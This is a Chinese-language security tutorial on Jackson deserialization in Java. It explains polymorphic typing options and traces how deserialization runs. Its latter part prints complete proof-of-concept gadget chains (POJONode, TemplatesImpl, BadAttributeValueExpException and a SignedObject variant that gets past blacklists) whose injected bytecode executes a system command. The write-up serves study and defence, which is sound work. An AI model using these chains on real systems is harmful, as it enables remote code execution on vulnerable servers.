Java反序列化Jackson篇

0x00 前言

Jackson是目前很热门的工具:

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

由于其使用简单,速度较快,且不依靠除 JDK 外的其他库,被众多用户所使用。

0x01 前置

使用的 Jackson 包环境为2.7.9版本,pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>

先自定义进行序列化和反序列化的Person类:

1
2
3
4
5
6
7
8
9
public class Person {  
public int age;
public String name;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}

定义主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.databind.ObjectMapper;


public class Main {
public static void main(String[] args) throws Exception{

Person p = new Person();
p.age = 777;
p.name = "P@x";
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);

}
}

运行结果:

image-20250323143321111

0x02 解决多态问题

引入问题

修改一下Person类:

image-20250323144135592

Object是多态类,所有类都是Object的子类。我们给Person类的object属性赋值是没有问题的,但是问题在于当我们将对应的JSON字符串反序列化为Person类时,如何确保object属性的值是我们之前赋值时的具体类实例,而不是Object类的其他子类实例。

Jackson 实现了 JacksonPolymorphicDeserialization 机制来解决这个问题:

JacksonPolymorphicDeserialization 即 Jackson 多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例。

简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种,即 DefaultTyping@JsonTypeInfo 注解。这里和前面学过的 fastjson 是很相似的。

DefaultTyping

Jackson 提供一个enableDefaultTyping设置,其包含 4 个值:

image-20250323145745336

下面进行逐一讲解。

JAVA_LANG_OBJECT

当被序列化或反序列化的类里的属性被声明为一个Object类型时 会对该Object类型的属性进行序列化和反序列化并明确规定类名。

创建Hacker类:

1
2
3
public class Hacker {
public String skill = "Manbaout/laoda";
}

Person类的object属性赋值为Hacker类实例,添加enableDefaultTyping()并设置为JAVA_LANG_OBJECT:

image-20250323150944027

对比一下有无配置JAVA_LANG_OBJECT的JSON字符串:

有:

image-20250323151048383

无:

image-20250323151114636

配置JAVA_LANG_OBJECT后,会多输出 Hacker 类名,且在输出的object属性时直接输出的是Hacker类对象,也就是说同时对 Object 属性对象进行了序列化和反序列化操作。

OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE除了上文提到的特征,当类里有 Interface、AbstractClass 类时会对其进行序列化和反序列化,前提是这些类本身需要时合法的、可被序列化的对象。enableDefaultTyping()默认的无参数的设置就是此选项。

添加一个接口Sex:

1
2
3
4
public interface Sex {
public void setSex(int sex);
public int getSex();
}

对应的实现类MySex:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MySex implements Sex{
int sex;

@Override
public int getSex() {
return sex;
}

@Override
public void setSex(int sex) {
this.sex = sex;
}
}

Person类也添加一个Sex属性:

image-20250323151925872

修改一下主程序:

image-20250323152137658

输出,可知该Interface类属性被成功序列化和反序列化:

image-20250323152217071

NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS除了前面提到的特征外,还支持 Array 类型。

直接在主程序里修改Person属性object:

image-20250323152454196

观察输出,发现object属性值的类名变成了 ”[L”+类名+”;”,序列化 Object 之后为数组形式,反序列化之后得到[LHacker; 类对象,说明对 Array 类型成功进行了序列化和反序列化:

image-20250323152633198

NON_FINAL

NON_FINAL除了前面的所有特征外,包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类除 final 外的属性信息都需要被序列化和反序列化。

修改 Person 类,添加 Hacker 属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person {
public int age;
public String name;
public Object object;
public Sex sex;
public Hacker hacker;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, Person.object=%s, Person.sex=%s, Person.hacker=%s", age, name, object, sex, hacker);
}

}

修改主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.databind.ObjectMapper;


public class Main {
public static void main(String[] args) throws Exception{

Person p = new Person();
p.age = 777;
p.name = "P@x";
p.object = new Hacker();
p.sex = new MySex();
p.hacker = new Hacker();

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}

观察输出,成功对非final的hacker属性进行序列化和反序列化:

image-20250323153634961

小结:

可以观察到,这些配置选项是层层扩大适用范围的,得出下表:

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

@JsonTypeInfo 注解

@JsonTypeInfo注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:

JAVA

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

下面逐个解释。

JsonTypeInfo.Id.NONE

新创建Person2类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person2 {
public int age;
public String name;

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, Person.object=%s", age, name, object);
}
}

采用新的主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.fasterxml.jackson.databind.ObjectMapper;

public class Main2 {
public static void main(String[] args) throws Exception{
Person2 p = new Person2();
p.age = 7777;
p.name = "P@@x";
p.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person2 p2 = mapper.readValue(json, Person2.class);
System.out.println(p2);
}
}

观察输出,与没有设置@JsonTypeInfo 注解的输出是一样的:

image-20250323154322723

JsonTypeInfo.Id.CLASS

修改@JsonTypeInfo注解值为JsonTypeInfo.Id.CLASS

输出看到,object属性中多了 “@class”:”Hacker”,即含有具体的类的信息,同时反序列化出来的object属性是Hacker类对象,即能够成功对指定类型进行序列化和反序列化:

image-20250323154704794

不难想到,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。

JsonTypeInfo.Id.MINIMAL_CLASS

修改@JsonTypeInfo注解值为JsonTypeInfo.Id.MINIMAL_CLASS

输出看到,object属性中多了 “@c”:”Hacker”,即用 @c 替代了 @class,其他和 JsonTypeInfo.Id.CLASS 类似,能够成功对指定类型进行序列化和反序列化,都可以用于指定相关类并进行相关的调用:

image-20250323154944453

JsonTypeInfo.Id.NAME

修改@JsonTypeInfo注解值为JsonTypeInfo.Id.NAME

观察输出,object 属性中多了 “@type”:”Hacker”,但没有具体的包名在内的类名(与前文不同,把类放到包里就知道了),因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的

image-20250323155141100

JsonTypeInfo.Id.CUSTOM

其实这个值时提供给用户自定义的意思,我们是没办法直接使用的,需要手动写一个解析器才能配合使用,直接运行会抛出异常:

image-20250323155517682

小结

由前面测试发现,@JsonTypeInfo注解一共5个选项,只有设置为如下选项之一并且修饰的是 Object 类型的属性时,才可以用来触发 Jackson 反序列化漏洞:

  • JsonTypeInfo.Id.CLASS
  • JsonTypeInfo. Id. MINIMAL_CLASS

0x03 反序列化流程

针对应用JacksonPolymorphicDeserialization机制的场景进行的Jackson反序列化过程中的一些方法调用进行分析。

使用 DefaultTyping

新增 Person3 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package analysis;

import DefaultTyping.Sex;

public class Person3 {
public int age;
public String name;
public Sex sex;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, Person.sex=%s", age, name, sex);
}
}

新增MySex2类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package analysis;

import DefaultTyping.Sex;

public class MySex2 implements Sex {
int sex;
public MySex2() {
System.out.println("MySex构造函数");
}

@Override
public int getSex() {
System.out.println("MySex.getSex");
return sex;
}

@Override
public void setSex(int sex) {
System.out.println("MySex.setSex");
this.sex = sex;
}
}

再次创建新的主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package analysis;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Main3 {
public static void main(String[] args) throws Exception{
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

String json = "{\"age\":77777,\"name\":\"P@@@x\",\"sex\":[\"analysis.MySex2\",{\"sex\":1}]}";
Person3 p2 = mapper.readValue(json, Person3.class);
System.out.println(p2);
}
}

输出:

image-20250323161203330

显然,使用DefaultTyping可以调用属性类的构造函数和setter,这也不难理解,反序列化的流程是先生成实例,再对实例赋值,前者要用到构造函数,后者要用到setter。

使用 @JsonTypeInfo 注解

自行尝试,只说结果:

image-20250323161743040

显然结果与使用DefaultTyping一致。

具体的调试分析

Jackson 反序列化的过程其实就分为两步,第一步是通过构造函数生成实例,第二步是设置实例的属性值。

为了方便梳理思路,可以给Person3类设置setter和getter。下文就以使用DefaultTyping为例进行讲解。

BeanDeserializer#deserialze

前面都是层层封装,关键是进入vanillaDeserialize方法。

image-20250324091858030

BeanDeserializer#vanillaDeserialize

Jackson反序列化的第一步:类实例化,这一步会调用Person3类的构造函数。

image-20250324092031095

往下看,整个do循环都在给Person3类实例赋值:

image-20250324092304236

具体的赋值逻辑要进入prop.deserializeAndSet方法。

MethodProperty#deserializeAndSet

其实还存在FieldProperty#deserializeAndSet,当对应属性没有设置setter的时候就会调用到此处。

下图可知,Jackson反序列化第二步设置实例的属性值,是通过反射调用对应属性的setter方法来实现的。

image-20250324092836325

往前面看看,例如属性sex的值是MySex2对象,则会嵌套调用方才的BeanDeserializer#vanillaDeserialize方法处理。

image-20250324093325848

0x04 反序列化漏洞

前提条件

既然是反序列化漏洞,那么肯定要进行Jackson反序列化。Jackson反序列化需要下面三个条件满足其一即可触发:

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo 注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

漏洞原理

当使用的JacksonPolymorphicDeserialization机制配置有问题时,Jackson反序列化就会调用属性所属类的构造函数和setter方法。

如果构造方法或者setter方法是可以利用的,那么就存在Jackson反序列化漏洞。

漏洞有两种,一种是反序列化的类本身存在类如Runtime.getRuntime().exec(cmd)这种代码,显然这种是不常见的。

另外一种是反序列化的类存在Object类型的属性,因为Object是任意类型的父类,所以我们只需要寻找出服务端存在的,且构造函数或setter方法存在漏洞代码的类即可进行利用攻击。

这些都和Fastjson类似,就不再赘叙,直接上CVE。

0x05 通杀

TemplatesImpl

两个CVE就不讲解了,2.7.9.1直接黑名单了,讲讲通杀。

Jackson中的PojoNode#toString()可以直接触发任意的getter,利用条件:

  • 不需要存在该属性
  • getter方法需要有返回值
  • 尽可能的只有一个getter

转念一想,getter可以是TemplatesImpl#getOutputProperties(),toString可以在BadAttributeValueExpException#readObject()里。既然链子前中后都有了,不难想到怎么构造POC。

但是当我尝试POC的时候,我发现POJONode类出现了问题:

我们的POJONode是继承ValueNodeValueNode是继承BaseJsonNode

而在BaseJsonNode中存在

1
2
3
Object writeReplace() {
return NodeSerialization.from(this);
}

意味着 我们在反序列化的时候 会经过这个writeReplace方法 这个方法会对我们的序列化过程进行检查 从而阻止我们的序列化进程 我们需要将其重写出来 将这个方法去掉

所以POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package PojoNode;

import DefaultTyping.Person;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import static PojoNode.Utils.*;

public class Poc {
public static void main(String[] args) throws Exception {
// 动态修改BaseJsonNode类的writeReplace方法名
CtClass ctClass = getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 构造 TemplatesImpl 类
Templates templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{ctClass.toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "Pax");
setFieldValue(templatesImpl, "_tfactory", null);
// 构造 POJONode 类
POJONode jsonNodes = new POJONode(templatesImpl);
// 构造 BadAttributeValueExpException 类
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val", jsonNodes);
// 测试 exp
deserializeFromByteArray(serializeToByteArray(exp));
}
}

对应的Utils.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package PojoNode;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

public class Utils {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serializeToFile(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}

public static byte[] serializeToByteArray(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

public static Object deserializeFromFile(String filePath) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
return objectInputStream.readObject();
}

public static Object deserializeFromByteArray(byte[] bytes) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
}

public static CtClass getCtClass(String className) throws Exception{
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(Man.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名,随便取名
originalMethod.setName("PaxIsHandsome");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("Pax");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
return clazz;
}

}

其实该链子的思路很简单,难点在于动态修改类方法并重新加载类,我大致说一下相关代码的思路:

getCtClass方法首先使用Java字节码操作库Javassist获取默认的ClassPool实例,并将Person3类(只要是自己写的类就可以)的类加载器添加到类路径中。接着通过类名获取BaseJsonNode类的CtClass对象,并从中提取writeReplace方法修改其名称为Replace。修改后的类被加载到JVM中以使变更生效。接下来代码创建一个新的类Pax,并将其设置为AbstractTranslet的子类。然后定义了一个无参构造函数,并在构造函数中添加了执行系统命令以启动计算器的代码。最后将这个构造函数添加到Pax类中,使得每次实例化该类时都会触发计算器的启动。

我们稍微调试一下看看:

BadAttributeValueExpException#readObject():

image-20250324220801718

BaseJsonNode#toString():

image-20250324220847405

InternalNodeMapper#nodeToString():

image-20250324220935921

······,到BeanPropertyWriter#serializeAsField:

image-20250324221026652

invoke触发TemplatesImpl.getOutputProperties(),剩下的流程就不说了,给出调用链和流程图:

image-20250324221316052

image-20250324221405054

SignObject链

主要是打二次反序列化,顺便学一下二次反序列化。

既然TemplatesImpl被你检测到了,那么我换一个不在黑名单的类SignObject,其有getter方法getObject():

image-20250324224859966

那么就只需要把原来的exp放到SignObject属性content里,再把SignObject类似原先的TemplatesImpl类一样即可。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package PojoNode;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.security.*;

import static PojoNode.Utils.*;
import static PojoNode.Utils.serializeToByteArray;

public class POC_SignObject {
public static void main(String[] args) throws Exception{
// 第二次反序列化的 exp 构造
CtClass ctClass = getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "Pax");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
setFieldValue(exp2, "val", jsonNodes2);
// 构造 SignObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
// 第一次反序列化的 exp 构造
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val", jsonNodes);
// 测试 exp
deserializeFromByteArray(serializeToByteArray(exp));
}
}

至此,结束。

0x06 Ref

文章 - 深入浅出解析Jackson反序列化 - 先知社区

Jackson 反序列化(一)漏洞原理 | Drunkbaby’s Blog